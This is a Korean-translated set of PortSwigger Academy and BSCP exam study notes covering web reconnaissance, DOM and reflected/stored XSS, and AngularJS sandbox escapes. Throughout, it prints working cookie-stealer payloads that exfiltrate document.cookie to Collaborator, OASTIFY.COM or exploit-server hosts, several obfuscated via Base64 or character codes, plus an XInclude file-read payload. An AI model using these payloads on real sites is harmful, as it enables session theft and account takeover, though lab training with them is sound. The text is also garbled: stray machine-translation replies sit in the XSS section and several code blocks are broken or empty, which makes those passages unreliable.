
PortSwigger Academy 랩을 위한 실용적인 학습 노트와 워크스루로, 웹 취약점, 페이로드, 열거 및 BSCP 시험 전략을 다룹니다.
이것은 110개 이상의 PortSwigger Academy 랩을 포함한 제 학습 노트입니다. 저는 이 랩들을 사용하여 2023년 Burp Suite Certified Practitioner 시험에 합격했습니다. 제 BSCP 자격입니다.
최신 학습 자료를 얻으려면 PortSwigger Academy를 방문하세요.
스캐닝 - 정보 수집
집중 스캐닝
비표준 엔티티 스캔
거점 확보 - 1단계
콘텐츠 디스커버리
DOM-XSS
XSS 크로스 사이트 스크립팅
웹 캐시 포이즈닝
호스트 헤더
HTTP 요청 스머글링
무차별 대입
인증
권한 상승 - 2단계
CSRF - 계정 탈취
비밀번호 재설정
SQLi - SQL 인젝션
JWT - JSON 웹 토큰
프로토타입 오염
API 테스팅
접근 제어
GraphQL API 엔드포인트
CORS - 교차 출처 리소스 공유
데이터 유출 - 3단계
XXE - XML 엔티티 및 인젝션
SSRF - 서버 측 요청 위조
SSTI - 서버 측 템플릿 인젝션
SSPP - 서버 측 프로토타입 오염
LFI - 파일 경로 탐색
파일 업로드
역직렬화
OS 명령 인젝션
부록
파이썬 스크립트
페이로드
워드리스트
타겟 스캐닝 집중
접근 방식
추가 교육 콘텐츠
시험을 보기 전에, 취약점을 식별하는 데 걸리는 시간을 단축하고 실력을 테스트하려면 가능한 한 많은 Mystery lab challenge를 진행하는 것을 권장합니다.
Retaking your exam에 대한 PortSwigger의 조언도 매우 유익했습니다.
2024년 BSCP 시험에 대한 새로운 시각을 보려면 CryptoCat - Burp Suite Certified Professional (BSCP) Review + Tips/Tricks를 시청하세요.
후원해 주신 커피에 감사드립니다,
\o/
제 Burp Suite Certified Practitioner 자격증.
웹 애플리케이션의 정보 수집은 시간 제한이 있는 엔게이지먼트에서 초기 및 목적 지향 스캐닝으로 시작됩니다.
엔게이지먼트나 시험 중 촉박한 시간 제한으로 인해 특정 요청에 대해 정의된 삽입 지점을 스캔하세요.

스캐너가 storeId 매개변수에서 XML 인젝션 취약점을 감지했고, 이를 통해 비밀 Carlos 파일을 읽을 수 있었습니다.```xml <xi:include parse="text" href="file:///home/carlos/secret"/>
>대역 외 XInclude 요청, 로컬 파일을 읽으려면 호스팅된 DTD가 필요함.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>
PortSwigger Lab: 타겟 스캐닝으로 취약점 빠르게 발견하기
응답 또는 요청에서 선택한 텍스트에 대해 선택한 삽입 지점을 스캔하는 Burp 기능을 사용하여 비표준 데이터 구조를 스캔합니다.

Burp 스캐너 이슈 결과를 통해 취약점을 식별합니다.
이 경우, 식별된 XSS를 사용하여 식별된 삽입 지점에 페이로드를 구성해 관리자 사용자의 쿠키를 탈취합니다.``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART
>키 문자를 URL 인코딩하세요.

>현재 브라우저 세션에서 관리자 사용자의 쿠키로 교체하여 관리자 패널에 접근하세요.
[PortSwigger Lab: Scanning non-standard data structures](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)
-----
# 발판
# 콘텐츠 발견
>대상 열거는 웹 디렉터리와 파일을 퍼징하는 것에서 시작됩니다. 숨겨진 경로와 파일을 찾으려면 Burp engagement tools의 content discovery 옵션을 사용하거나 `FFUF`를 이용해 웹 디렉터리와 파일을 열거하세요. `robots.txt` 또는 `sitemap.xml`을 확인하면 콘텐츠가 드러날 수 있습니다.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt
ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ
Burp 엔게이지먼트 도구, 제가 컴파일한 워드리스트 burp-labs-wordlist를 커스텀 파일 목록으로 사용하는 콘텐츠 발견.

git-cola도구를 사용하여 로컬에 다운로드한 사본에서 git 저장소 브랜치를 검토하세요. 그런 다음 마지막 커밋 실행 취소를 선택하고 diff 창에서 관리자 비밀번호를 추출하세요.``` wget -r https://TARGET.web-security-academy.net/.git/
git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

[PortSwigger Lab: 버전 관리 이력의 정보 공개](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)
>항상 `source code`를 열어 숨겨진 파일이나 경로를 드러내는 개발자 주석을 찾아보세요. 아래 예시는 [symphony 토큰 역직렬화](#deserialization)로 이어집니다.

-----
## DOM 기반 XSS
[DOM XSS 지표](#identify-dom-xss)
[DOM Invader로 식별된 DOM XSS](#dom-invader)
[DOM XSS AngularJS](#vuln-angularjs)
[DOM XSS select에서의 document.write](#doc-write-location-search)
[DOM XSS JSON.parse 웹 메시지](#dom-xss-jsonparse-web-messages)
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)
[DOM XSS AddEventListener Ads 메시지](#dom-xss-addeventlistener-ads-message)
[DOM XSS Eval 반사 쿠키 스틸러](#reflected-dom-xss)
[DOM XSS LastviewedProduct 쿠키](#dom-xss-lastviewedproduct-cookie)
### DOM-XSS 식별
>DOM 기반 XSS 취약점은 JavaScript가 URL과 같은 공격자가 제어할 수 있는 소스에서 데이터를 가져와 동적 코드 실행을 지원하는 싱크로 코드를 전달할 때 발생합니다.
>아래의 퍼저 문자열을 사용하여 `source code` 주입 지점을 벗어나게 하는 문자를 테스트하십시오.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
source code를 검토하여 악용으로 이어질 수 있는 소스 , 싱크 또는 메서드를 식별하세요. 샘플 목록:
Dom Invader 플러그인을 사용하고 카나리 값을
domxss와 같이 설정하면 악용할 수 있는 DOM-XSS 싱크를 감지합니다.

아래 AngularJS 표현식은 꺾쇠 괄호와 큰따옴표가 HTML 인코딩될 때 검색 기능에 주입될 수 있습니다. 취약점은 검색 문자열이 ng-app 디렉티브로 둘러싸여 있고
/js/angular 1-7-7.js스크립트가 포함된 것을 발견함으로써 식별됩니다. HTML 코드를 검토하여 AngularJS 애플리케이션의 루트 요소임을 AngularJS에 알리는ng-app디렉티브를 식별하세요.

아래는 PortSwigger 랩 페이로드입니다:```JavaScript {{$on.constructor('alert(1)')()}}
>[쿠키 스틸러 페이로드](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md)는 `on.constructor`를 사용하며 iframe에 배치하고 익스플로잇 서버에서 호스팅할 수 있어, 피해자 세션 쿠키가 Burp Collaborator로 전송되게 합니다.
>[크로스 사이트 스크립팅 참조용 PortSwigger 치트 시트](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}
참고: XSS가 성공하려면 세션 쿠키 속성에 HttpOnly 보안 플래그가 설정되어 있지 않아야 합니다.

PortSwigger 랩: 꺾쇠 괄호와 큰따옴표가 HTML로 인코딩된 AngularJS 표현식의 DOM XSS
z3nsh3ll이 YouTube에서 이 랩의 constructor 취약점에 대해 놀랍도록 상세한 설명을 제공합니다
대상은 재고 확인 함수에서 DOM-XSS에 취약합니다.
source code는document.write가 싱크(sink)로 사용되고location.search와 함께 사용되어 storeId 쿼리 매개변수에<select>문 내부의 JavaScript 페이로드를 포함하는 값을 추가할 수 있음을 보여줍니다.

아래 페이로드를 사용하여
">로 이스케이프하고, 수정된 GET 요청에 주입되는지 식별하는 테스트를 수행하세요.```html /product?productId=1&storeId=fuzzer">fuzzer

>`<select>` 요소 내부의 `document.write` 싱크에서 `location.search` 소스를 사용하는 DOM XSS [쿠키 스틸러 페이로드](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md). 이는 exploit 서버의 `

iframe onload 값의 끝에 있는
"*"는 대상이 임의(any)임을 나타냅니다.
POC XSS 테스트 중 사용할 안전하지 않은 테스트 쿠키를 브라우저 DEV tools 콘솔을 사용하여 설정하세요.
쿠키 스틸러 페이로드.```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

[PortSwigger 랩: 웹 메시지와 JSON.parse를 사용하는 DOM XSS](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)
>DOM Invader를 사용하여 웹 메시지를 통한 DOM XSS 식별 및 테스트

>JSON 데이터를 변경한 후 DOM Invader를 사용하여 post message를 재생합니다.```JSON
{
"type": "load-channel",
"url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

PortSwigger: PortSwigger DOM Invader를 사용하여 DOM XSS 식별
페이지
source code를 검토하면 웹 메시지에 대한addeventlistener호출을 식별할 수 있지만, 문자열에http/s가 포함되어 있는지 확인하는if조건이 있습니다.

아래의 exploit server에 호스팅된 페이로드에는
https문자열이 포함되어 있으며,if조건 검사를 우회하는 데 성공합니다.```html

피해자 쿠키가 업데이트되면 Exploit 서버 로그가 피해자의 비밀 쿠키 값을 캡처합니다.
>***ShehmeerAbidRajput***님의 큰 도움으로 그가 제공한 쿠키 스틸러 페이로드를 사용하여 이 랩을 업데이트했습니다.
[PortSwigger Lab: DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)
-----
## 크로스 사이트 스크립팅
[XSS 리소스](#xss-resources)
[허용된 태그 식별](#identify-allowed-tags)
[차단된 태그 우회](#bypass-blocked-tags)
[XSS 프로토콜 할당](#xss-assign-protocol)
[차단되지 않은 사용자 정의 태그](#custom-tags-not-blocked)
[OnHashChange](#onhashchange)
[반사 문자열 XSS](#reflected-string-xss)
[반사 문자열 추가 이스케이프](#reflected-string-extra-escape)
[AngularJS 샌드박스 이스케이프](#angularjs-sandbox-escape)
[XSS 템플릿 리터럴](#xss-template-literal)
[JSON을 통한 EVAL XSS](#xss-via-json-into-eval)
[저장된 XSS](#stored-xss)
[저장된 DOM XSS](#stored-dom-xss)
[SVG 업로드의 XSS](#xss-svg-upload)
### XSS 리소스
>XSS 리소스 페이지는 **태그** 및 **이벤트**에 대한 페이로드를 조회하는 곳입니다.
+ [크로스 사이트 스크립팅 (XSS) 치트 시트](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [HackTheBox CPTS XSS 학습 노트](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)
>CSP Evaluator는 XSS 공격을 완화하기 위해 콘텐츠 보안 정책이 적용되어 있는지 확인하는 도구입니다. 예를 들어 `base-uri`가 누락된 경우 이 취약점으로 인해 공격자는 [저장된 자가 XSS 업그레이드](#upgrade-stored-self-xss)에서 설명하는 대체 공격 방법을 사용할 수 있습니다.
+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)
>입력 필드의 최대 길이가 23자뿐인 경우 **Tiny XSS Payloads**용으로 이 리소스를 사용하세요.
+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)
>POC XSS [쿠키 스틸러 페이로드](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md) 테스트 중에 사용할 안전하지 않은 테스트 쿠키를 브라우저 개발자 도구 콘솔을 사용하여 브라우저에 설정하세요.```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";
HTTP 요청에서 수신된 데이터를 처리하기 위한 애플리케이션 보안 필터 제어를 식별하는 기본 XSS 페이로드.```html
I'm ready to translate the chunk, but the input content appears to be empty. No text was provided after "INPUT:". Please provide the actual chunk content so I can translate it into Korean while preserving all Markdown structure, code blocks, and technical terms exactly as they are.```html
"><svg><animatetransform onbegin=alert(1)>
Please provide the Markdown content to translate.``` <>'"
>위의 페이로드를 제출하면 Web Application Firewall(WAF)가 주입을 차단하여 ***"태그가 허용되지 않습니다"***라는 응답 메시지가 표시될 수 있습니다.
>그런 다음 [PortSwigger Academy 방법론](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked)을 사용하여 허용된 태그를 ***식별***하세요.
>URL 및 Base64 온라인 인코더와 디코더
+ [URL 디코드 및 인코드](https://www.urldecoder.org/)
+ [BASE64 디코드 및 인코드](https://www.base64encode.org/)
>이 랩은 POC XSS를 제작하기 위해 허용된 HTML 태그와 이벤트를 ***식별***하는 훌륭한 **방법론**을 제공합니다.
>익스플로잇 서버에 **iframe** 코드를 호스팅하고 익스플로잇 링크를 피해자에게 전달하세요.```html
애플리케이션 컨트롤은 기본 XSS 페이로드를 삽입할 때 ***"태그는 허용되지 않습니다"***라는 메시지를 표시하지만, 위의 방법론을 사용하면 SVG 마크업이 허용된다는 것을 발견했습니다. 이 페이로드는 POC로 제 세션 쿠키를 훔칩니다.```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E
>위의 페이로드를 익스플로잇 서버에 배치하고, 아래 코드 블록에서 피해자에게 전달하기 전에 검색 값이 포함된 URL을 ```iframe```에 삽입하십시오.```html

PortSwigger 랩: 일부 SVG 마크업이 허용되는 반사형 XSS
#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=html검색 기능에 아무것도 인코딩되지 않은 HTML 컨텍스트에서 XSS를 테스트하는 랩입니다. 이 랩을 사용하여 PortSwigger XSS research에서 식별된 Assignable protocol with location
javascript익스플로잇을 테스트합니다. 페이로드에는 ASCII 줄 바꿈 문자를 나타내는%0a가 포함되어 있습니다.```html

[PortSwigger Lab: Reflected XSS into HTML context with nothing encoded](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)
### 사용자 정의 태그는 차단되지 않음
>애플리케이션은 XSS 페이로드를 삽입하려고 할 때 ***"Tag is not allowed"*** 메시지로 응답하지만, 사용자 정의 태그를 만들면 이를 우회합니다.```html
<xss+id=x>#x';
식별: 응답을 관찰하여 위의 사용자 지정 태그가 검색 기능에서 차단되지 않는지 확인합니다. 세션 쿠키를 out-of-band로 탈취하기 위해 아래의 페이로드를 생성합니다.```
>**참고:** ID가 ```x```인 사용자 정의 태그에는 **onfocus** 이벤트 핸들러가 포함되어 있으며, 이 핸들러는 ```document.location``` 함수를 트리거합니다. URL 끝에 있는 **HASH** `#` 문자는 페이지가 로드되자마자 이 요소에 포커스를 맞추어 페이로드가 호출되도록 합니다. 페이로드 스크립트를 익스플로잇 서버의 ```script``` 태그에 호스팅하고 피해자에게 전송하세요. 아래는 동일한 페이로드이지만 **URL-encoded** 형식입니다.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

PortSwigger 랩: 모든 표준 태그가 차단되고 커스텀 태그만 허용되는 HTML 컨텍스트에서의 반사형 XSS
아래 iframe은 URL 끝에 해시
#문자를 사용하여 OnHashChange XSS 쿠키 스틸러를 트리거합니다.```JavaScript
>쿠키에 **HttpOnly** 플래그가 활성화되어 있으면 XSS를 사용하여 쿠키를 탈취할 수 없습니다.
>PortSwigger Lab 페이로드가 print를 실행합니다.```JavaScript
참고:
source code에 포함된 취약한 jquery 1.8.2 버전을 hashchange CSS 선택자 동작으로 식별하세요.

PortSwigger Lab: hashchange 이벤트를 사용한 jQuery 선택자 싱크의 DOM XSS
Crypto-Cat: hashchange 이벤트를 사용한 jQuery 선택자 싱크의 DOM XSS
검색 문자열을 제출하고 검색 결과 페이지의
source code를 검토하면, JavaScript 문자열 변수가searchTerms라는 이름의 변수로source code안에서 검색 문자열tracker.gif를 반영하는 것으로 식별됩니다.```html
test'payload페이로드를 사용하면 작은따옴표가 백슬래시로 이스케이프되어 문자열 밖으로 빠져나오지 못하는 것을 확인할 수 있습니다.```JavaScript
>페이로드를 Burp Collaborator에 세션 토큰을 전달하는 쿠키 스틸러로 변경합니다.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

이 페이로드를
iframe에 배치하면 대상 애플리케이션이 임베딩을 허용하지 않고refused to connect메시지를 표시합니다.
PortSwigger 랩: 작은따옴표와 백슬래시가 이스케이프된 JavaScript 문자열로의 반사형 XSS
BSCP 시험에서는 아래 페이로드를 익스플로잇 서버의
<script>태그 안에 호스팅하고, URL 인코딩되기 전의 아래 검색어를 그 앞에 배치하십시오.```
>검색어 반사형 취약점을 호스팅하는 Exploit Server로, 피해자에게 전송하여 세션 쿠키를 획득합니다.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>
애플리케이션이
Tag is not allowed오류 메시지를 표시했으며, 이는</ScRiPt >를 사용하여 우회됩니다.
source code에서searchTerms라는 변수를 확인하고,fuzzer'payload페이로드를 제출하면 작은따옴표가 백슬래시로 이스케이프되는 것을 볼 수 있습니다. 그런 다음fuzzer\payload페이로드를 보내고 백슬래시가 이스케이프되지 않았음을 확인하세요.``` '-alert(1)//
fuzzer';console.log(12345);//
fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//
>단일 **백슬래시**, 작은따옴표 및 **세미콜론**을 사용하여 JavaScript 문자열 변수에서 탈출한 다음, 백틱을 사용하여 ```document.location``` 경로를 감싸서 쿠키 스틸러가 애플리케이션 보호를 우회할 수 있게 합니다.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//
Trevor의 도움으로 이것을 백틱(back ticks)을 사용하는 쿠키 스틸러 페이로드로 만들었습니다. Trevor에게 감사드리며, 그의 YouTube 워크스루 영상은 다음과 같습니다. XSS JavaScript 문자열 꺾쇠 괄호 큰따옴표 인코딩된 단일

PortSwigger 랩: JavaScript 문자열에 반사된 XSS - 꺾쇠 괄호와 큰따옴표는 HTML 인코딩되고 작은따옴표는 이스케이프됨
AngularJS 1.4.4를 사용하는 전문가용 PortSwigger 랩 연습입니다. 1.x 버전은 수명이 종료되어 더 이상 유지 관리되지 않습니다.
이 랩은 AngularJS를 비정상적인 방식으로 사용합니다. 이 방식에서는$eval함수를 사용할 수 없으며 AngularJS에서 어떤 문자열도 사용할 수 없습니다.
목표:$eval함수를 사용하지 않고 샌드박스를 이스케이프하여 페이로드를 실행하는 크로스 사이트 스크립팅 공격을 수행합니다.
z3nsh3ll - YouTube 영상: 문자열 없이 AngularJS 샌드박스 이스케이프를 수행하는 이 반사형 XSS에 대한 훌륭한 설명
JavaScript 소스 코드에서
angular.module을 식별하세요:

key변수의 값search가 동적으로 생성된 JavaScript에 주입됩니다.
여기에는 명백한 보안 문제가 없습니다. 그러나 이 코드의 보안은 이 컨트롤러와 추출된 값이 백엔드에서 어떻게 사용되는지에 달려 있습니다.
$parse메서드는 AngularJS 표현식$scope.query를 평가합니다.
&를 사용하여 두 번째 키-값 쌍을 추가하여 생성된 동적 코드 페이로드를 테스트합니다.

두 번째로 추가된 키-값 이름을 표현식으로 변경하여 평가되는지 확인합니다.
/?search=key1value&7*7=payload를 사용하면 수학 결과는 49입니다.

alert()을 두 번째 키 이름으로 사용하면 파서를 통해 angularJS가 코드를 컴파일하는 방식에서 페이로드 구성이 실패합니다.
PortSwigger 치트시트 참조: 샌드박스 1.4.4 이스케이프``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
>Collaborator 페이로드 ***쿠키 스틸러***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)
위 페이로드 문자열에 있는 각 문자의 ASCII 십진수 값이며, 쉼표로 구분됩니다. 각 숫자는 페이로드 문자열에 있는 해당 문자의 ASCII 십진수 값을 나타냅니다.``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41
>모든 페이로드를 ASCIII 10진수 값으로 변환하는 Python 스크립트:```python
import sys
print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
print("Usage: Python ascii_converter.py 'Payload_String'")
sys.exit(1)
input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]
output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

PortSwigger 솔루션 단계에 따른, 샌드박스를 통과하는 ASCII 10진수 값의 AngularJS 표현식으로 작성된 Cookie Stealer 페이로드:
toString()을 사용하여 따옴표 없이 문자열을 생성합니다.charAt 함수를 덮어씁니다.orderBy 필터에 배열을 전달할 수 있게 합니다.toString()을 사용해 문자열을 만들고 String 생성자 속성을 이용하여 필터의 인자를 설정합니다.fromCharCode 메서드를 사용해 문자 코드를 페이로드 예시 x=alert(1)로 변환하여 페이로드를 생성합니다.charAt 함수가 덮어써졌으므로 AngularJS는 이 코드가 샌드박스를 탈출하도록 허용합니다.
JavaScript 템플릿 리터럴은 문자열을 포함하는 데 사용되는 백틱 ` 으로 식별됩니다. 대상 코드에서 검색 문자열이 템플릿 리터럴 문자열 안에 반영되는 것을 확인합니다.``` ${alert(document.cookie)}

>***Adrián Gyurácz***님께 감사드립니다. 이 랩에서 모든 필터를 우회하는 작동하는 쿠키 스틸러 바이패스를 얻지 못했는데, 훌륭한 바이패스를 제공해 주셨습니다.
>***Adrián Gyurácz***님이 해결책으로 이어진 Portswigger의 다음 연구 문서를 발견했습니다:
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
#### 위 내용을 바탕으로 한 그의 페이로드:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}
원래 랩 세션 쿠키에는 보호 플래그가 있기 때문에, 그는 개념 증명을 위해 테스트용 더미 쿠키를 만들었습니다:

검색 기능에서 페이로드를 전송한 후 쿠키 스틸러 히트를 얻었습니다:

다른 사람들도 그의 연구가 도움이 되기를 바라며, 제 가이드에 포함시킵니다. Tx.
PortSwigger Lab: 앵글 브래킷, 작은따옴표, 큰따옴표, 백슬래시 및 백틱이 유니코드 이스케이프된 템플릿 리터럴로 반사되는 XSS
이 PortSwigger Practice Exam APP은 검색 기능을 수행하며, DOM Invader가
eval()함수에서 싱크를 식별합니다. 검색 결과는 JSON 콘텐츠 유형으로 배치됩니다.

JSON데이터에서 이스케이프하여 테스트 페이로드"-prompt(321)-"를 JSON 콘텐츠에 주입합니다.

"-alert(document.cookie)-"페이로드로 자신의 세션 쿠키 값을 얻으려고 시도하면,"Potentially dangerous search term"이라고 명시된 필터 메시지가 반환됩니다.
WAF가 위험한 검색 필터와 태그를 차단하므로, JavaScript 전역 변수를 사용하여 WAF 필터를 우회합니다.```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"
[secjuice: JavaScript 전역 변수를 사용하여 XSS 필터 우회](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)
>아래는 BASE 64로 인코딩하기 전의 주요 [쿠키 탈취 페이로드](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md)입니다.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])
다음으로, 위 쿠키 스틸러 페이로드의 Base64 인코딩된 값을 사용하여 페이로드를 인코딩합니다.``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==
>Search 기능에서 자체 세션 쿠키에 테스트 페이로드를 실행합니다.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
위 페이로드 조립 단계 분석:
이 이미지는
Deliver exploit to victim에 페이로드를 설정하기 전에 Burp Collaborator가 개념 증명으로 내 쿠키 값을 수신하는 모습을 보여줍니다.

URL Encode로 이 페이로드의 모든 문자를 인코딩하고
/?SearchTerm=매개변수의 값으로 사용하세요.```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
>익스플로잇 서버에 `IFRAME`을 호스팅하면 대상에 연결이 거부되는 **오류** 메시지가 표시됩니다. 대신 `<script>` 태그 사이에 페이로드를 익스플로잇 서버에 호스팅하세요.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

참고: 활성 사용자가 collaborator로 HTTP 요청을 보내지 않으면
Deliver exploit to victim을 몇 번 실행하세요. 현재 쿠키 값을 탈취한 쿠키로 교체하여 활성 사용자로 가장한 다음 실습 시험의 2단계로 진행하세요.
PortSwigger 실습 시험 - 1단계 - Foothold
저장형 XSS는 블라인드 XSS일 수도 있습니다. alert 페이로드가 트리거되지 않으면 NahamSec 블라인드 XSS 동영상에서 피해자가 클릭할 페이로드를 확인하세요. 예:
<svg/onload=import('//EXPLOIT.net/blind_xss')>
저장된 입력이 링크를 클릭하는 피해자를 리디렉션하는 경우, exploit 서버로 요청을 보냅니다. 다음 샘플 코드를 사용하여 저장형 XSS를 식별하세요.```HTML![]()
>아래 로그 항목은 익스플로잇 서버로 전송된 요청을 보여주며, 로그를 통해 위 태그의 `/img`와 `/video`가 애플리케이션에서 허용되어 접근 시 요청이 발생했음을 ***확인***할 수 있습니다.

>블로그 게시물 댓글에 저장된 교차 사이트 스크립팅(XSS)입니다. 이 Cookie Stealer 페이로드는 피해자의 세션 쿠키를 익스플로잇 서버 로그로 전송합니다.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">
제품 및 스토어 조회```html ?productId=1&storeId=">
#### Stored XSS 블로그 게시물
>document cookie를 익스플로잇 서버로 전송하는 Stored XSS 블로그 게시물 쿠키 스틸러.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>
아래 대상에는 블로그 댓글 기능에 저장형 XSS 취약점이 있습니다. 게시된 댓글을 보는 피해자 사용자의 세션 쿠키를 탈취한 후, 해당 쿠키로 가장을 수행하십시오.

Fetch API JavaScript 쿠키 탈취 페이로드를 블로그 게시물 댓글에 삽입합니다.```JavaScript
>[HackTheBox Bookworm을 사용하는 IPPSEC YouTube](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737), `payload.js` JavaScript 코드를 보여주며 `fetch` 사용법과 JavaScript 학습 방법을 설명합니다.
[PortSwigger Lab: 크로스사이트 스크립팅을 악용하여 쿠키 탈취하기](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)
#### 저장형 self-XSS 업그레이드
>**저장형 self-XSS**가 포함된 블로그 댓글로, 페이로드를 업그레이드하여 DOM에서 피해자 정보를 탈취합니다. **edit content** 함수는 입력값을 `<script>` 태그에 반영합니다. **write comment**의 CSRF 토큰은 **edit content** 함수와 동일합니다. 아래의 페이로드는 **write comment** 함수를 사용하여 피해자가 자신의 블로그에 악성 콘텐츠가 포함된 블로그 글을 작성하도록 만듭니다.
>`a` 문자는 초기 애플리케이션 `source code`의 `#` 해시 문자를 이스케이프하기 위해 추가되었습니다.
>아래의 블로그 글에 포함된 `source code`는 피해자 정보를 탈취하는 전체 익스플로잇입니다.```html
